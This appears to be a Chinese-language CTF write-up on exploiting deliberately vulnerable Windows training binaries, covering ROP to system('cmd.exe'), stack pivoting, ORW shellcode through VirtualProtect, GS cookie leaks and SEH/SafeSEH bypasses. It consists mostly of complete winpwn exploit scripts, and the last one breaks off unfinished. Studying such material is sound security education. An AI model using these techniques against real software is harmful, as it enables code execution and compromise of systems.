附件下载链接
程序保护如下,没有开 GS 保护。
程序是一个简单的栈溢出:
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-1D4h]
char v5; // [esp+0h] [ebp-1D4h]
char DstBuf[260]; // [esp+D0h] [ebp-104h] BYREF
__CheckForDebuggerJustMyCode(&unk_41C003);
sub_41132F();
printf("Hello world, this is a buffer overflow training.\n", v4);
printf("This is the stack address : %p\n", (char)DstBuf);
printf("What is your name: ", v5);
read(0, DstBuf, 0x200u);
printf("Hello, %s\n", (char)DstBuf);
getchar();
return 0;
}
利用方法如下:
printf
泄露导入表,进而泄露 ucrtbased.dll
的基址,之后返回到 main 函数进行下一次利用。ucrtbase.dll
中的 system
函数以及 cmd.exe
字符串构造 rop 实现 system("cmd.exe")
。这里有几个易错点:
\xcc
,否则会被检测到栈溢出。ucrtbased.dll
而不是 ucrtbase.dll
。from winpwn import *
context.arch = 'i386'
# context.log_level = "debug"
pe = winfile("stackoverflow.exe")
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path) # remote
p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.success("buf addr: " + hex(buf_addr))
p.sendafter("What is your name: ", "\xcc" * 0x108)
p.recvuntil("\xcc" * 0x108)
leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak code addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x12203
log.info("pe base: " + hex(pe.address))
p.close()
p = start()
# windbg.attach(p, "bp 710000+119EA")
printf_addr = pe.address + 0x11046
main_addr = pe.address + 0x112B7
payload = ''
payload += '\xcc' * 0x108
payload += p32(printf_addr)
payload += p32(main_addr)
payload += p32(pe.imsyms['setvbuf'])
p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
setvbuf_addr = u32(p.recv(4))
log.success("setvbuf addr: " + hex(setvbuf_addr))
ucrtbased.address = setvbuf_addr - ucrtbased.symbols['setvbuf']
log.info("ucrtbase base: " + hex(ucrtbased.address))
payload = ''
payload += '\xcc' * 0x108
payload += p32(ucrtbased.symbols['system'])
payload += p32(main_addr)
payload += p32(ucrtbased.search("cmd.exe").next())
p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
p.interactive()
附件下载链接
和 32 位的程序相似,不过这里溢出字节数较少,需要栈迁移。
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // rdi
__int64 i; // rcx
char v6; // [rsp+0h] [rbp-20h] BYREF
char DstBuf[480]; // [rsp+30h] [rbp+10h] BYREF
v3 = &v6;
for ( i = 0x82i64; i; --i )
*v3++ = 0xCCCCCCCC;
j___CheckForDebuggerJustMyCode(&unk_140021003, argv, envp);
sub_140011271();
printf("Hello world, this is a buffer overflow training.\n");
printf("This is the stack address : %p\n", DstBuf);
printf("What is your name: ");
read(0, DstBuf, 0x200u);
printf("Hello, %s\n", DstBuf);
getchar();
return 0;
}
from winpwn import *
context.arch = "amd64"
context.log_level = "debug"
pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path) # remote
# print [hex(x) for x in ucrtbased.search(asm('pop rsp;ret'))]
p = start()
# windbg.attach(p, "bp 00007ff7`fcd00000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1f8)
p.recvuntil("\xcc" * 0x1f8)
leak_ucrtbased_addr = u64(p.recv(6).ljust(8, '\x00'))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))
ucrtbased.address = leak_ucrtbased_addr - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()
p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
# windbg.attach(p, "bp 00007ff7`fcd00000+1199D")
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(ucrtbased.search("cmd.exe").next())
payload += p64(ucrtbased.symbols['system'])
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
log.info("payload len: " + hex(len(payload)))
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
p.interactive()
如果题目开启了 PROCESS_MITIGATION_CHILD_PROCESS_POLICY
保护禁用了 system("cmd.exe")
,那么我们就需要采用 ORW 的方式获取 flag 。
Windows 中的 ORW 示例代码如下,其中 CreateFileA
和 ReadFile
位于 kernel32.dll
,puts
位于 ucrtbase.dll
。
#include
#include
int main() {
HANDLE hFile = CreateFileA(
"flag.txt",// 文件路径和名称
GENERIC_READ, // 文件访问权限 0x80000000
FILE_SHARE_READ, // 共享模式 0x00000001
NULL, // 安全性属性 0
OPEN_EXISTING, // 打开已有文件 3
FILE_ATTRIBUTE_NORMAL, // 文件属性 0x00000080
NULL // 模板文件句柄 0
);
if (hFile == INVALID_HANDLE_VALUE) { // #define INVALID_HANDLE_VALUE ((HANDLE)(LONG_PTR)-1)
printf("Failed to open file\n");
return 1;
}
char buffer[0x3000];
DWORD dwBytesRead = 0;
if (!ReadFile(hFile, buffer, sizeof(buffer), &dwBytesRead, NULL)) {
printf("Failed to read file\n");
CloseHandle(hFile);
return 1;
}
puts(buffer);
return 0;
}
由于传递的参数过多 gadget 不好找并且会导致 ROP 过长,因此采取 VirtualProtect
修改内存属性写 shellcode 的方式 进行 ORW 。
VirtualProtect
位于 kernel32.dll
,定义如下:
BOOL VirtualProtect(
LPVOID lpAddress, // 要更改保护属性的内存地址
SIZE_T dwSize, // 要更改保护属性的内存大小
DWORD flNewProtect, // 新的保护属性
PDWORD lpflOldProtect // 旧的保护属性
);
其中 lpAddress
关于 0x1000 对齐,flNewProtect
设置为 PAGE_EXECUTE_READWRIT (0x40)
。
前面 32 位的栈溢出题目可以采用如下 exp 实现 ORW。这里有几个需要注意的地方:
sub esp,0x1000
是为了将栈迁移到远离 shellcode 的位置,防止调用函数时覆写到 shellcode 。ReadFile
函数传入的长度参数不能过大,因为 ReadFile
会对 buf 地址范围进行检查,如果 buf + len
位于 无效地址不会向 buf
读入数据。from winpwn import *
context.arch = 'i386'
context.log_level = "debug"
pe = winfile("stackoverflow.exe")
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
start = lambda: process(pe.path) # remote
p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.success("buf addr: " + hex(buf_addr))
p.sendafter("What is your name: ", "\xcc" * 0x108)
p.recvuntil("\xcc" * 0x108)
leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak code addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x12203
log.info("pe base: " + hex(pe.address))
p.close()
p = start()
printf_addr = pe.address + 0x11046
main_addr = pe.address + 0x112B7
payload = ''
payload += '\xcc' * 0x108
payload += p32(printf_addr)
payload += p32(main_addr)
payload += p32(pe.imsyms['setvbuf'])
p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
setvbuf_addr = u32(p.recv(4))
log.success("setvbuf addr: " + hex(setvbuf_addr))
ucrtbased.address = setvbuf_addr - ucrtbased.symbols['setvbuf']
log.info("ucrtbase base: " + hex(ucrtbased.address))
payload = ''
payload += '\xcc' * 0x108
payload += p32(ucrtbased.symbols['puts'])
payload += p32(main_addr)
payload += p32(pe.imsyms['GetCurrentThreadId'])
p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u32(p.recv(4)) - kernel32.symbols['GetCurrentThreadId']
log.info("kernel32 base: " + hex(kernel32.address))
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
log.info("CreateFileA: " + hex(kernel32.symbols["CreateFileA"]))
shellcode = asm(
"""
sub esp,0x1000
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push {0} // FileName
mov ebx,{1}
call ebx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
push 0
lea ecx, [esp+0x500]
push ecx
push 0x100
push {0} // FileBuffer
push eax
mov ebx,{2}
call ebx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
push {0}
mov ebx,{3}
call ebx // puts(Buffer);
""".format(
hex(buf_addr + 0x50),
hex(kernel32.symbols['CreateFileA']),
hex(kernel32.symbols['ReadFile']),
hex(ucrtbased.symbols['puts'])
)
)
payload = ""
payload += shellcode
assert len(shellcode) <= 0x50
payload = payload.ljust(0x50, '\xcc')
payload += "flag.txt\x00"
payload = payload.ljust(0x108, '\xcc')
payload += p32(kernel32.symbols['VirtualProtect'])
payload += p32(buf_addr)
payload += p32(buf_addr & ~0xFFF)
payload += p32(0x1000)
payload += p32(0x40)
payload += p32(buf_addr + 0x300)
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x119EA)))
p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.interactive()
64 位栈溢出的 ORW 做法如下,不过由于 payload 构造过长导致触发异常,可以考虑将 shellcode 读到另一块内存中从而减小 payload 的长度 。
这里我们读入 shellcode 使用的 API 为 ReadFile
,需要结合 GetStdHandle
获取标准输入句柄。
#include
#include
int main()
{
HANDLE hStdin;
DWORD dwBytesRead;
char buffer[1024];
/* #define STD_INPUT_HANDLE ((DWORD)-10) */
hStdin = GetStdHandle(STD_INPUT_HANDLE);
/* #define INVALID_HANDLE_VALUE ((HANDLE)(LONG_PTR)-1) */
if (hStdin == INVALID_HANDLE_VALUE) {
printf("Failed to get standard input handle.\n");
return 1;
}
if (ReadFile(hStdin, buffer, sizeof(buffer), &dwBytesRead, NULL)) {
printf("Read %d bytes from standard input.\n", dwBytesRead);
printf("Input content:\n%s", buffer);
} else {
printf("Failed to read standard input.\n");
}
return 0;
}
需要注意的是 DstBuf[480]
的实际长度是 0x100 ,需要考虑绕过 CheckStackValue 保护。
另外如何查找从将 rax 寄存器的值赋值给 rcx 的 gadget 也是一个难点。
from winpwn import *
context.arch = "amd64"
context.log_level = "debug"
pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path) # remote
p = start()
p.sendafter("What is your name:", "\xcc" * 0x1f8)
p.recvuntil("\xcc" * 0x1f8)
ucrtbased.address = u64(p.recv(6).ljust(8, '\x00')) - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()
p = start()
# windbg.attach(p, "bp 00007ff7`2a380000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1e8)
p.recvuntil("\xcc" * 0x1e8)
pe.address = u64(p.recv(6).ljust(8, '\x00')) - 0x121a9
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x11900
p.close()
p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(pe.imsyms['GetCurrentThreadId'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(kernel32.imsyms['memcpy'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))
p.recvuntil("This is the stack address : ")
rop_addr = int(p.recvline(drop=True), 16)
log.info("rop addr: " + hex(rop_addr))
shellcode_addr = pe.address + 0x1D000
buf_addr = rop_addr + 0x104
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x11968)[:-1]))
sleep(1)
payload = ''
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(0x1000)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x40)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['VirtualProtect'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(0xFFFFFFF6)
payload += p64(kernel32.symbols['GetStdHandle'])
payload += p64(kernel32.address + 0x761b2) # mov rcx, rax; xor eax, eax; test rdx, rdx; jne 0x761c1; mov qword ptr [r8], rcx; ret;
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x100)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['ReadFile'])
payload += p64(shellcode_addr)
payload += '\x00' * 0x20
payload += p64(0)
payload = payload.ljust(buf_addr - rop_addr, '\xcc') # bypass CheckStackVars
payload += 'flag.txt\x00'
log.info("rop len: " + hex(len(payload)))
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(rop_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
shellcode = asm(
"""
sub rsp, 0x1000
mov rcx, {0}
mov edx, 0x80000000
xor r9d, r9d
lea r8d, [r9+1]
mov qword ptr [rsp + 0x30], 0
mov qword ptr [rsp + 0x28], 0x80
mov qword ptr [rsp + 0x20], 3
mov rbx, {1}
call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
xchg rcx,rax
mov rdx, {0}
mov r8d, 0x500
lea r9,[rsp + 0x200]
mov qword ptr [rsp + 0x20], 0
mov rbx, {2}
call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
mov rcx, {0}
mov rbx,{3}
call rbx // puts(Buffer);
""".format(
hex(buf_addr),
hex(kernel32.symbols['CreateFileA']),
hex(kernel32.symbols['ReadFile']),
hex(ucrtbased.symbols['puts'])
)
)
sleep(1)
p.sendline(shellcode)
p.interactive()
由于 Windows API 的传参过于丧心病狂,因此上面的 rop 构造的十分麻烦。不过幸运的是在 ucrtbased.dll (ucrtbase.dll)
中封装了一些 POSIX
类型的接口,这些接口的使用方法和 linux 相同。因此如果题目提供了 ucrtbased.dll (ucrtbase.dll)
(如果有任意地址读我们也可以将远程的 )那么我们可以像 linux 一样构造 orw 。不过这些函数开头会将参数写入 ucrtbased.dll (ucrtbase.dll)
dump 下来[rsp + 8]
到 [rsp + 0x20]
范围的内存中,因此在调用完一个函数时需要一个 gadget 将被覆盖的内存平衡掉。
from winpwn import *
context.arch = "amd64"
context.log_level = "debug"
pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path) # remote
p = start()
p.sendafter("What is your name:", "\xcc" * 0x1f8)
p.recvuntil("\xcc" * 0x1f8)
ucrtbased.address = u64(p.recv(6).ljust(8, '\x00')) - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()
p = start()
# windbg.attach(p, "bp 00007ff7`2a380000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1e8)
p.recvuntil("\xcc" * 0x1e8)
pe.address = u64(p.recv(6).ljust(8, '\x00')) - 0x121a9
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x11900
p.close()
p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(pe.imsyms['GetCurrentThreadId'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(kernel32.imsyms['memcpy'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))
p.recvuntil("This is the stack address : ")
rop_addr = int(p.recvline(drop=True), 16)
log.info("rop addr: " + hex(rop_addr))
shellcode_addr = pe.address + 0x1D000
buf_addr = rop_addr + 0xe8 + 0x28
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))
# windbg.attach(p, "bp {}".format(hex(ntdll.search(asm("pop rcx; ret"), executable=True).next())[:-1]))
payload = ''
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop rdx; ret"), executable=True).next())
payload += p64(0)
payload += p64(ucrtbased.symbols['_open'])
payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(3)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbased.symbols['_read'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(1)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbased.symbols['_write'])
payload = payload.ljust(buf_addr - rop_addr, '\xcc') # bypass CheckStackVars
payload += 'flag.txt\x00'
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(rop_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.interactive()
附件下载链接
程序未开启 SafeSEH 。分析程序发现开启了 GS 保护。
程序代码如下,存在栈溢出以及一个 4 字节的任意地址写,分析汇编可知任意地址写存在 SEH 异常处理。
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
_DWORD *shot; // [esp+D4h] [ebp-12Ch] BYREF
char DstBuf[260]; // [esp+E0h] [ebp-120h] BYREF
CPPEH_RECORD ms_exc; // [esp+1E8h] [ebp-18h]
__CheckForDebuggerJustMyCode(&unk_41C00F);
sub_41133E();
printf("Hello world, this is a buffer overflow training.\n");
printf("This is the stack address : %p\n", DstBuf);
printf("What is your name: ");
read(0, DstBuf, 0x200u);
printf("Hello, %s\n", DstBuf);
ms_exc.registration.TryLevel = 0;
printf("Give me one shot: ");
scanf("%ld", &shot);
*shot = 0xDEADBEEF;
ms_exc.registration.TryLevel = -2;
getchar();
return 0;
}
栈结构如下:
-0000012C shot dd ? ; offset
-00000128 db ? ; undefined
-00000127 db ? ; undefined
-00000126 db ? ; undefined
-00000125 db ? ; undefined
-00000124 db ? ; undefined
-00000123 db ? ; undefined
-00000122 db ? ; undefined
-00000121 db ? ; undefined
-00000120 DstBuf db 260 dup(?)
-0000001C canary dd ?
-00000018 ms_exc CPPEH_RECORD ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 argc dd ?
+0000000C argv dd ? ; offset
+00000010 envp dd ? ; offset
+00000014
+00000014 ; end of stack variables
调试得到 DstBuf
之后的数据如下,可以泄露程序以及 ucrtbased.dll
的基址和栈地址(不过栈地址程序已经给出了)。
0:000> !telescope 0x010FFB5C+0x104
Populating the VA space with modules..
Populating the VA space with TEBs & thread stacks..
Populating the VA space with the PEB..
0x010ffc60|+0x0000: 0xbc1f64db (Unknown)
0x010ffc64|+0x0004: 0x010ffa7c (Stack) -> 0xbc1f64db (Unknown)
0x010ffc68|+0x0008: 0x79cafbd2 (ucrtbased.dll (.text)) -> xchg esi,dword ptr [eax] ; mov eax,esi ; pop esi
0x010ffc6c|+0x000c: 0x010ffce8 (Stack) -> 0x010ffd60 (Stack) -> 0x010ffd78 (Stack) -> 0xffffffff (Unknown)
0x010ffc70|+0x0010: 0x00542120 (SEH.exe (.text)) -> push ebp ; mov ebp,esp ; mov eax,dword ptr [ebp+8]
0x010ffc74|+0x0014: 0xbd4417df (Unknown)
0x010ffc78|+0x0018: 0xfffffffe (Unknown)
0x010ffc7c|+0x001c: 0x010ffc9c (Stack) -> 0x010ffcf8 (Stack) -> 0x010ffd00 (Stack) -> 0x010ffd08 (Stack) -> 0x010ffd18 (Stack) -> 0x010ffd70 (Stack) -> 0x010ffd80 (Stack) -> 0x00000000 (Unknown)
0x010ffc80|+0x0020: 0x005425a3 (SEH.exe (.text)) -> add esp,0Ch ; mov esp,ebp ; pop ebp
0x010ffc84|+0x0024: 0x00000001 (Unknown)
@$telescope(0x010FFB5C+0x104)
GS 保护使用的 ___security_cookie
在每次程序启动都会有变化,因此我们需要考虑如何使程序多次返回 main 函数。
如果我们把 Handler
从原本的 __except_handler4
覆盖为 main
函数,那么当触发异常时会把 main
函数当做 Handler
调用。
再次进入 main
函数时,会在原来异常链上添加一个新的异常节点,该节点是正常的 __except_handler4
。如果此时触发异常会通过 __except_handler4
执行新注册的异常处理程序, 这个异常处理程序会输出 This is exception handler\n
然后返回 0 。由于 main
函数作为上一层 main
函数的 Handler
函数,这个返回值会被当做 Handler
函数返回了 ExceptionContinueExecution
,上一层的 main
函数认为异常以及被处理完,因此再次返回错误的位置执行,结果再次触发异常进入 main
函数。至此,我们实现了 main
函数的多次调用。
有了 main
函数的多次调用我们可以先泄露 ___security_cookie
然后溢出覆盖返回值写 rop 实现 getshell 。
from winpwn import *
context.arch = "amd64"
# context.log_level = "debug"
pe = winfile("SEH.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path) # remote
p = start()
# windbg.attach(p, "bp 00530000+154FA")
p.sendafter("What is your name:", "\xcc" * 0x10c)
p.recvuntil("\xcc" * 0x10c)
leak_ucrtbased_addr = u32(p.recv(4))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))
ucrtbased.address = leak_ucrtbased_addr - 0xafbd2
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()
p = start()
p.sendafter("What is your name:", "\xcc" * 0x114)
p.recvuntil("\xcc" * 0x114)
leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x12120
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x15450
log.info("main addr: " + hex(main_addr))
p.close()
p = start()
# windbg.attach(p, "bp 00530000+154FA")
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += '\xcc' * 0x110
payload += p32(buf_addr + 0x18c)
payload += p32(main_addr)
p.sendafter("What is your name:", payload)
p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")
# windbg.attach(p, "bp 00530000+154FF")
p.sendafter("What is your name:", '\xcc' * 0x104)
p.recvuntil("\xcc" * 0x104)
leak_canary = u32(p.recv(4))
log.success("leak canary: " + hex(leak_canary))
ebp_value = buf_addr - 0x6b0
log.info("ebp value: " + hex(ebp_value))
security_cookie = leak_canary ^ ebp_value
log.info("security_cookie addr: " + hex(pe.address + 0x1A004))
log.info("leak security_cookie: " + hex(security_cookie))
p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")
windbg.attach(p, "bp 00530000+155B7")
ebp_value = buf_addr - 0x6b0
log.info("ebp value: " + hex(ebp_value))
payload = ''
payload += "\xcc" * 0x104
payload += p32(security_cookie ^ ebp_value)
payload = payload.ljust(0x124, "\xcc")
payload += p32(ucrtbased.symbols['system'])
payload += p32(0)
payload += p32(ucrtbased.search("cmd.exe").next())
p.sendafter("What is your name:", payload)
p.sendafter("Give me one shot: ", str(buf_addr))
sleep(0.1)
p.sendline("")
p.interactive()
进一步拓展,假设原本 main
函数的 Handler
返回的是 1 而不是 0,我们通过栈溢出将 Handler
覆盖为 main
函数那么在第一次执行 main
函数触发异常后调用 Handler
第二次进入 main
函数,第二次进入 main
函数触发异常后返回 ExceptionContinueSearch
表示异常没有处理,会在 SEH 链中继续往上一层找 Handler
,由于此时上一层 Handler
为 main
函数,也就是说第二次进入 main
函数触发异常后会再次进入 main
函数,因此原本 main
函数的 Handler
返回的是 1 也可以实现重复调用 main
函数。
附件下载链接
这道题开启了 SafeSEH 和 GS 保护。
观察主函数逻辑,发现与上一道题逻辑相似,不过有两次溢出和回显的机会。
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
_DWORD *shot; // [esp+D4h] [ebp-12Ch] BYREF
char DstBuf[260]; // [esp+E0h] [ebp-120h] BYREF
CPPEH_RECORD ms_exc; // [esp+1E8h] [ebp-18h]
__CheckForDebuggerJustMyCode(&unk_40C00F);
sub_4011FE();
printf("Hello world, this is a buffer overflow training.\n");
printf("This is the stack address : %p\n", DstBuf);
printf("What is your name: ");
read(0, DstBuf, 0x200u);
printf("Hello, %s\n", DstBuf);
printf("Input again: ");
read(0, DstBuf, 0x200u);
printf("Hello, %s\n", DstBuf);
ms_exc.registration.TryLevel = 0;
printf("Give me one shot: ");
scanf("%ld", &shot);
shot = (_DWORD *)((unsigned int)shot & 0xFFF00);
*shot = 0xDEADBEEF;
ms_exc.registration.TryLevel = -2;
getchar();
return 0;
}
因此可以先泄露 ucrtbased.dll
的基址。之后再次启动程序,第一次输入后回显泄露 canary ,从而计算出 ___security_cookie
,然后再次溢出写 rop ,不过由于 shot = (_DWORD *)((unsigned int)shot & 0xFFF00);
,不能正常返回,需要通过异常处理返回,这就需要我们伪造 CPPEH_RECORD
结构使其能正常调用处理函数返回。这里为了体现 SafeSEH 的绕过也顺带伪造了 ScopeTable
,实际上复用原来的 ScopeTable
也是可以的。
from winpwn import *
context.arch = "i386"
# context.log_level = "debug"
pe = winfile("SafeSEH.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path) # remote
p = start()
p.sendafter("What is your name:", "\xcc" * 0x10c)
p.recvuntil("\xcc" * 0x10c)
leak_ucrtbased_addr = u32(p.recv(4))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))
ucrtbased.address = leak_ucrtbased_addr - 0xafbd2
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()
p = start()
p.sendafter("What is your name:", "\xcc" * 0x114)
p.recvuntil("\xcc" * 0x114)
leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x1e30
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x1780
log.info("main addr: " + hex(main_addr))
FilterFunc = pe.address + 0x18B7
log.info("FilterFunc addr: " + hex(FilterFunc))
HandlerFunc = pe.address + 0x18BD
log.info("HandlerFunc addr: " + hex(HandlerFunc))
p.close()
p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.info("buf addr: " + hex(buf_addr))
ebp_value = buf_addr + 0x120
log.info("ebp value: " + hex(ebp_value))
p.sendafter("What is your name:", "\xcc" * 0x104)
p.recvuntil("\xcc" * 0x104)
leak_canary = u32(p.recv(4))
log.success("leak canary: " + hex(leak_canary))
security_cookie = leak_canary ^ ebp_value
log.info("security_cookie: " + hex(security_cookie))
log.info("security_cookie addr: " + hex(pe.address + 0xA004))
fake_ScopeTable = ''
fake_ScopeTable += p32(0x0FFFFFFE4) # GSCookieOffset
fake_ScopeTable += p32(0x000000000) # GSCookieXOROffset
fake_ScopeTable += p32(0x0FFFFFE00) # EHCookieOffset
fake_ScopeTable += p32(0x000000000) # EHCookieXOROffset
